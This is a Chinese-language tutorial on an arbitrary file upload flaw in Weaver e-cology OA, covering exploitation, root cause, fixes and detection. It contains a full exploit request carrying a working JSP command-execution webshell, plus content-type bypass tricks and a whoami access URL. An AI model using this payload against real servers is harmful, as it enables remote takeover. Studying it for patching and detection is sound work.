由log4j攻击事件到泛微OA任意文件上传漏洞分析
字数 1268 2025-08-07 08:22:07
泛微OA任意文件上传漏洞分析与利用教学
漏洞背景
泛微OA(e-cology)是一款广泛使用的企业协同办公系统。该漏洞源于系统对文件上传功能的安全控制不足,攻击者可以构造特殊请求绕过安全限制,上传恶意文件(如JSP木马)到服务器,从而获取系统控制权限。
漏洞原理
泛微OA系统在处理文件上传时存在以下问题:
- 文件类型检查不严格,可通过修改Content-Type绕过
- 上传路径可预测或可控
- 上传的文件未进行安全处理,可直接执行
漏洞影响版本
受影响的泛微OA版本包括但不限于:
- e-cology 7.0
- e-cology 8.0
- e-cology 8.1
- e-cology 9.0
漏洞验证与利用
环境准备
- 安装受影响的泛微OA版本
- 准备Burp Suite或Postman等HTTP请求工具
- 准备Webshell文件(如JSP木马)
漏洞验证步骤
-
定位上传接口:
常见的上传接口路径包括:/weaver/weaver.file.FileUpload /weaver/weaver.common.file.FileUploadForDocDownload -
构造恶意请求:
使用POST方法发送以下请求:POST /weaver/weaver.file.FileUpload?fileid=1.jpg&filename=shell.jsp HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1234567890 Content-Length: xxx ------WebKitFormBoundary1234567890 Content-Disposition: form-data; name="file"; filename="shell.jsp" Content-Type: image/jpeg <%@page import="java.util.*,java.io.*"%> <% if(request.getParameter("cmd") != null) { out.println("Command: " + request.getParameter("cmd") + "<br>"); Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while(disr != null) { out.println(disr); disr = dis.readLine(); } } %> ------WebKitFormBoundary1234567890-- -
关键绕过技巧:
- 使用
fileid参数指定保存文件名 - 虽然上传的是JSP文件,但设置
Content-Type: image/jpeg绕过类型检查 - 文件名参数可以重复指定,系统可能以URL参数中的
filename为准
- 使用
-
访问上传的文件:
上传成功后,文件通常保存在以下路径之一:/weaver/weaver.file.FileDownload?fileid=shell.jsp /weaver/weaver.common.file.FileDownloadForDocDownload?fileid=shell.jsp /upload/目录下的可预测路径访问webshell并执行命令:
http://target.com/upload/shell.jsp?cmd=whoami
漏洞修复方案
-
官方补丁:
升级到泛微OA最新版本,官方已发布修复补丁。 -
临时缓解措施:
- 限制上传文件类型,仅允许业务必需的文件格式
- 对上传文件进行重命名,避免使用用户提供的文件名
- 将上传文件存储在非Web可访问目录
- 对上传文件内容进行严格检查
- 禁用不必要的上传接口
-
安全配置建议:
- 配置WAF规则拦截可疑的上传请求
- 定期审计服务器上的可疑文件
- 限制服务器执行权限,使用低权限账户运行Web服务
漏洞分析
代码层面分析
通过分析泛微OA的文件上传处理代码,发现以下问题:
-
文件类型检查缺陷:
// 伪代码示例 String contentType = request.getContentType(); if(contentType.contains("image/")) { // 允许上传 } else { // 拒绝上传 }攻击者可以伪造Content-Type绕过检查。
-
文件保存逻辑问题:
// 伪代码示例 String fileId = request.getParameter("fileid"); String fileName = request.getParameter("filename"); // 优先使用URL参数中的filename saveFile(uploadDir + (fileName != null ? fileName : file.getOriginalFilename()));导致攻击者可以控制保存的文件名和扩展名。
攻击检测与防御
攻击检测
-
日志监控:
- 监控对
/weaver/weaver.file.FileUpload等上传接口的访问 - 关注上传文件扩展名与Content-Type不匹配的情况
- 检查短时间内多次上传尝试
- 监控对
-
流量分析:
- 检测HTTP请求中包含可疑的JSP代码片段
- 关注上传后立即访问上传文件的请求
防御措施
-
输入验证:
- 验证文件内容与扩展名是否匹配
- 使用文件头验证真实文件类型
-
输出处理:
- 上传文件重命名为随机名称
- 存储上传文件的目录禁用脚本执行权限
-
权限控制:
- 上传目录与Web根目录分离
- 使用chroot等机制限制访问范围
总结
泛微OA文件上传漏洞是一个典型的安全控制不足导致的漏洞,攻击者可以利用此漏洞完全控制目标系统。企业应及时升级到修复版本,并加强文件上传功能的安全控制。安全团队应监控此类漏洞的利用尝试,及时发现和处置安全事件。